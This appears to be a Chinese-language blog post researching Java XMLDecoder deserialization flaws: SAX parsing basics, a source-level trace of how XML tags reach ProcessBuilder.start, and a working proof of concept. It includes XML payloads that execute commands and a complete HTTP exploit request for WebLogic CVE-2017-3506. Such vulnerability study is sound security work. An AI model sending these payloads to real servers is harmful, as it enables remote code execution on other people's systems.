首页 > 其他分享 >XMLDecoder反序列化漏洞研究

XMLDecoder反序列化漏洞研究

时间:2023-11-08 09:14:45浏览次数:33  
标签:xml XMLDecoder java String 漏洞 new 序列化 public

一、XMLDecoder简介

java.beans.XMLDecoder 是jdk自带的以SAX方式解析XML的类,主要功能是实现java对象和xml文件之间的转化:

  • 序列化:将java对象转换成xml文件
  • 反序列化:把特定格式的xml文件转换成java对象

下面是一个简单地demo样例,

Person.java
package org.example;

public class Person {
    String name = "";
    int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void sayHello(){
        System.out.println("Hello, my name is "+name);
    }
}
XMLDecoderTest.java
package org.example;

import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;

public class XMLDecoderTest {
    // 序列化对象到文件person.xml
    public void xmlEncode() throws FileNotFoundException {
        Person person = new Person();
        person.setAge(18);
        person.setName("test");
        XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("person.xml")));
        xmlEncoder.writeObject(person);
        xmlEncoder.close();
        System.out.println("序列化结束!");
    }

    // 反序列化
    public void xmlDecode() throws FileNotFoundException {
        XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("person.xml")));
        Person person = (Person)xmlDecoder.readObject();
        xmlDecoder.close();
        person.sayHello();
        System.out.println("反序列化成功!");
    }

    public static void main(String[] args) throws FileNotFoundException {
        XMLDecoderTest xmlTest = new XMLDecoderTest();
        xmlTest.xmlEncode();
        xmlTest.xmlDecode();
    }
}

接下来自己实现一个基于SAX的XML解析。

SAX全称为Simple API for XML,在Java中有两种原生解析xml的方式,分别是SAX和DOM。两者区别在于:

  • Dom解析功能强大,可增删改查,操作时会将xml文档以文档对象的方式读取到内存中,因此适用于小文档
  • Sax解析是从头到尾逐行逐个元素读取内容,修改较为不便,但适用于只读的大文档

SAX采用事件驱动的形式来解析xml文档,即触发了事件就去做事件对应的回调方法。

在SAX中,读取到文档开头、结尾,元素的开头和结尾以及编码转换等操作时会触发一些回调方法,你可以在这些回调方法中进行相应事件处理:

  • startDocument()
  • endDocument()
  • startElement()
  • endElement()
  • characters()
package org.example;

import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.File;

public class DemoHandler extends DefaultHandler {
    public static void main(String[] args) {
        SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();
        try {
            SAXParser parser = saxParserFactory.newSAXParser();
            DemoHandler dh = new DemoHandler();
            String path = "payload.xml";
            File file = new File(path);
            parser.parse(file, dh);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void characters(char[] ch, int start, int length) throws SAXException {
        System.out.println("characters()");
        super.characters(ch, start, length);
    }

    @Override
    public void startDocument() throws SAXException {
        System.out.println("startDocument()");
        super.startDocument();
    }

    @Override
    public void endDocument() throws SAXException {
        System.out.println("endDocument()");
        super.endDocument();
    }

    @Override
    public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
        System.out.println("startElement()");
        for (int i = 0; i < attributes.getLength(); i++) {
            // getQName()是获取属性名称,
            System.out.print(attributes.getQName(i) + "=" + attributes.getValue(i) + "n");
        }
        super.startElement(uri, localName, qName, attributes);
    }

    @Override
    public void endElement(String uri, String localName, String qName) throws SAXException {
        System.out.println("endElement()");
        System.out.println(uri + localName + qName);
        super.endElement(uri, localName, qName);
    }
}

可以看到,我们通过继承SAX的DefaultHandler类,重写其事件方法,就能拿到XML对应的节点、属性和值。

XMLDecoder也是基于SAX实现的xml解析,不过他拿到节点、属性、值之后通过Expression创建对象及调用方法。XMLEncoder使用反射来找出它们包含哪些字段,但不是以二进制形式编写这些字段,而是以 XML 编写。 待编码的对象不需要是可序列化的,但是它们确实需要遵循 Java Beans 规范,例如

  • 该对象具有一个公共的空(无参数)构造器
  • 该对象具有每个受保护/私有财产的公共获取器和设置器

参考链接: 

https://kancloud.cn/apachecn/howtodoinjava-zh/1952934 

 

二、XMLDecoder反序列化漏洞原理

概括来说,XMLDecoder产生漏洞的原因主要有以下几个关键因素:

  • XMLDecoder是java自带的以SAX方式解析xml的类,其在反序列化经过特殊构造的XML数据可以覆盖对应Beans成员值,这给构造gadget产生了可能。
  • XMLDecoder使用反射来动态生成Beans,这给触发gadget产生了可能。

以上两个条件同时都具备,使得XMLDecoder产生远程代码执行漏洞的攻击面。

在Weblogic中由于多个包wls-wast、wls9_async_response war、_async使用了该类进行反序列化操作,导致出现了了多个高位RCE漏洞。

0x1:漏洞复现

payload.xml

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>
            </void>
        </array>
        <void method="start">
        </void>
    </object>
</java>

poc.java

package org.example;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;

public class poc {
    public static void main(String[] args) throws Exception {
        File file=new File("payload.xml");
        FileInputStream fileInputStream=new FileInputStream(file);
        BufferedInputStream bufferedInputStream=new BufferedInputStream(fileInputStream);
        XMLDecoder xmlDecoder=new XMLDecoder(bufferedInputStream);
        xmlDecoder.readObject();
        xmlDecoder.close();
    }
}

0x2:漏洞源码跟踪

在java.lang.ProcessBuilder#start打断点,堆栈如下,

可以看到,堆栈入口是从readObject()触发的,我们从头开始跟踪。

XMLDecoder跟进readObject(),

跟进parsingComplete(),

其中使用XMLDecoder的handler属性DocumentHandler的parse方法,并且传入了我们输入的xml数据,

进入com.sun.beans.decoder.DocumentHandler#parse,

这里的代码其实和我们写的DemoHandler里一模一样,通过SAXParserFactory工厂创建了实例,进而newSAXParser拿到SAX解析器,调用parse解析,那么接下来解析的过程,我们只需要关注DocumentHandler的几个事件函数就行了。 

在DocumentHandler的构造函数中指定了可用的标签类型,

对应了com.sun.beans.decoder包中的几个类,

在startElement中首先解析java标签,然后设置Owner和Parent,

this.getElementHandler(var3)对应的就是从构造方法中放入this.handlers的hashmap取出对应的值,如果不是构造方法中的标签,会抛出异常。

然后解析object标签,拿到属性之后通过addAttribute()设置属性,

在addAttribute()没有对class属性进行处理,抛给了父类com.sun.beans.decoder.NewElementHandler#addAttribute,

会通过findClass()去寻找java.lang.ProcessBuilder类,

通过classloader寻找类赋值给type,

赋值完之后跳出for循环进入this.handler.startElement(),不满足条件,

接下来解析array标签,同样使用addAttribute对属性赋值,

同样抛给父类com.sun.beans.decoder.NewElementHandler#addAttribute处理,

接下来继续设置length属性, 

最后进入com.sun.beans.decoder.ArrayElementHandler#startElement,

因为ArrayElementHandler类没有0个参数的getValueObject()重载方法,但是它继承了NewElementHandler,所以调用com.sun.beans.decoder.NewElementHandler#getValueObject(),

这个getValueObject重新调用ArrayElementHandler#getValueObject两个参数的重载方法,

ValueObjectImpl.create(Array.newInstance(var1, this.length))创建了长度为1、类型为String的数组并返回,到此处理完array标签。

接着处理void,创建VoidElementHandler,设置setOwner和setParent。

调用父类com.sun.beans.decoder.ObjectElementHandler#addAttribute设置index属性,

继续解析string标签,不再赘述。

解析完所有的开始标签之后,开始解析闭合标签,最开始就是,进入到endElement()。

StringElementHandler没有endElement(),调用父类ElementHandler的endElement(),

调用本类的getValueObject(), 

设置value为/System/Applications/Calculator.app/Contents/MacOS/Calculator,

接着闭合void,

闭合array,

然后开始解析<void method="start"/>

通过父类的addAttribute将this.method赋值为start,

随后闭合void标签,

调用endElement,VoidElementHandler类没有,所以调用父类ObjectElementHandler.endElement,

调用NewElementHandler类无参getValueObject,

然后调用VoidElementHandler类有参getValueObject,但是VoidElementHandler没有这个方法,所以调用VoidElementHandler父类ObjectElementHandler的有参getValueObject。

跟进Object var3 = this.getContextBean(),因为本类没有getContextBean(),所以调用父类NewElementHandler的getContextBean(),

继续调用NewElementHandler父类ElementHandler的getContextBean(),

会调用this.parent.getValueObject()也就是ObjectElementHandler类,而ObjectElementHandler没有无参getValueObject()方法,会调用其父类NewElementHandler的方法,

最终var3的值为java.lang.ProcessBuilder,var4的值为start,var5的值为/System/Applications/Calculator.app/Contents/MacOS/Calculator,

通过Expression的getValue()方法反射调用start,执行指令。

也就相当于最后拼接了一个表达式:new java.lang.ProcessBuilder(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).start();

XMLDecoder采用Expression对节点的value进行动态获取,而Expression是可以获取返回值的,这是能够漏洞利用成功的一个关键点之一。举个例子,

User.java
package org.example;

public class User {
    private int id;
    private String name;

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", name='" + name + "'" +
        '}';
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String sayHello(String name) {
        return String.format("你好 %s!", name);
    }
}
TestMain.java
package org.example;

import org.example.User;

import java.beans.Expression;
import java.beans.Statement;

public class TestMain {
    public static void main(String[] args) {
        testStatement();
        testExpression();
    }

    public static void testStatement() {
        try {
            User user = new User();
            Statement statement = new Statement(user, "setName", new Object[]{"张三"});
            statement.execute();
            System.out.println(user.getName());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void testExpression() {
        try {
            User user = new User();
            Expression expression = new Expression(user, "sayHello", new Object[]{"小明"});
            expression.execute();
            System.out.println(expression.getValue());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以看到,Expression是可以获得返回值的,方法是getValue()。Statement不能获得返回值。 

总结一下,

XMLDecoder导致漏洞的原因就在于处理节点的时候,信任了外部输入的XML指定节点类型信息(class类型节点),同时在进行节点Expression动态实例化的时候(通过invoke实现set()方法),允许节点属性由XML任意控制(本例中是new java.lang.ProcessBuilder、和new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),导致Expression的set()方法被重载为风险函数(本例中是start)。Expression动态解析因为Java反射特性实现了代码执行。

参考链接:

https://www.chabug.org/audit/1425 
https://blog.csdn.net/qq_38154820/article/details/108138810
https://github.com/mhaskar/XMLDecoder-payload-generator/blob/main/XMLDecoder-payload-generator.py
https://www.cnblogs.com/0x28/p/14391641.html
https://www.shijiyin.com/archives/487334 
https://www.kancloud.cn/apachecn/howtodoinjava-zh/1952934

 

三、真实CVE漏洞案例

0x1:CVE-2017-3506

POST包,

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.248.128:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Content-Length: 605
Origin: http://192.168.248.128:7001
Connection: close
Referer: http://192.168.248.128:7001/wls-wsat/CoordinatorPortType
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/CVE-2017-3506</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

参考链接:

https://sp4zcmd.github.io/2021/09/30/XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

 

标签:xml,XMLDecoder,java,String,漏洞,new,序列化,public
From: https://www.cnblogs.com/LittleHann/p/17814641.html

相关文章

  • php开发中常见的漏洞点(一) 基础sql注入
    前言本系列为小迪2022的学习笔记,仅用于自我记录。正文在一般情况下,一个网站的首页大致如下在上方存在着各种各样的导航标签、链接。而一般情况下网站的导航会用参数进行索引的编写,比如id、page等等比如上面的链接格式,当用户访问不同页面时id参数值也会跟着变化,比如我让id=2......
  • 使用 JSON JavaScriptSerializer 进行序列化或反序列化时出错。字符串的长度超过了为
    一个报表的查询,用ajax调用的Service,查询条件没有问题,后台也能返回数据,就一直返回Error提示,F12看到是因为返回json时出错了 在web.config的configuration加以下代码即可解决<system.web.extensions><scripting><webServices><jsonSerializationmaxJs......
  • 19.7 Boost Asio 传输序列化数据
    序列化和反序列化是指将数据结构或对象转换为一组字节,以便在需要时可以将其存储在磁盘上或通过网络传输,并且可以在需要时重新创建原始对象或数据结构。序列化是将内存中的对象转换为字节的过程。在序列化期间,对象的状态被编码为一组字节,并可以保存或传输到另一个位置。序列化后的......
  • Jackson反序列化漏洞研究
    一、Jackson序列化库使用简介0x1:Jackson背景Jackson是一个强大而高效的Java库,处理Java对象及其JSON表示的序列化和反序列化。它是这项任务中使用最广泛的库之一,并在许多其他框架中作为默认的Json引擎使用。例如,虽然Spring框架支持各种序列化/反序列化库,但Jackson是默认引擎。Ja......
  • 【漏洞复现】瑞友天翼应用虚拟化系统RCE漏洞
    免责申明本公众号的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文......
  • XStream反序列化漏洞原理分析
    一、XStream简介0x1:XStream介绍Xstream是一种OXMapping技术,是用来处理XML文件序列化的框架,在将JavaBean序列化,或将XML文件反序列化的时候,不需要其它辅助类和映射文件,使得XML序列化不再繁索。Xstream也可以将JavaBean序列化成Json或反序列化,使用非常方便。使用方便-XStream......
  • Kafka反序列化RCE漏洞(CVE-2023-34040)
    漏洞描述SpringKafka是SpringFramework生态系统中的一个模块,用于简化在Spring应用程序中集成ApacheKafka的过程,记录(record)指Kafka消息中的一条记录。受影响版本中默认未对记录配置 ErrorHandlingDeserializer,当用户将容器属性 checkDeserExWhenKeyNull 或 chec......
  • python 自定义序列化器
    @Serialization是一个自定义装饰器,通常用于序列化Python对象。使用@Serialization装饰器可以将一个类转换为可序列化的对象,这样就可以将其存储到文件或通过网络传输。下面是一个使用@Serialization装饰器的示例:importjsondefSerialization(cls):defserialize(......
  • 棱镜七彩兼容CCF版开源漏洞信息描述规范COSV Schema 1.0
    CCF版开源漏洞信息描述规范COSVSchema1.0(以下简称“COSVSchema1.0”)已于前期正式发布,棱镜七彩作为COSVSchema1.0制定工作的重要成员积极响应规范内容,目前公司产品与漏洞推送服务已经实现COSVSchema1.0兼容。开源软件在现代软件开发中占据着重要作用,因此开源软件中存在的开源......
  • 爱数文档云zabbix默认密码漏洞
    1.访问 http://ovip:10049/zabbix,登录Admin账户。默认密码为zabbix。且修改后会导致系统异常。2.点击监控主页右上角的账户按钮,查看当前账户配置。3.点击Changepassword按钮,修改账户密码信息。4.输入Admin账户默认密码zabbix,点击update更新。参考链接:https://www.aish......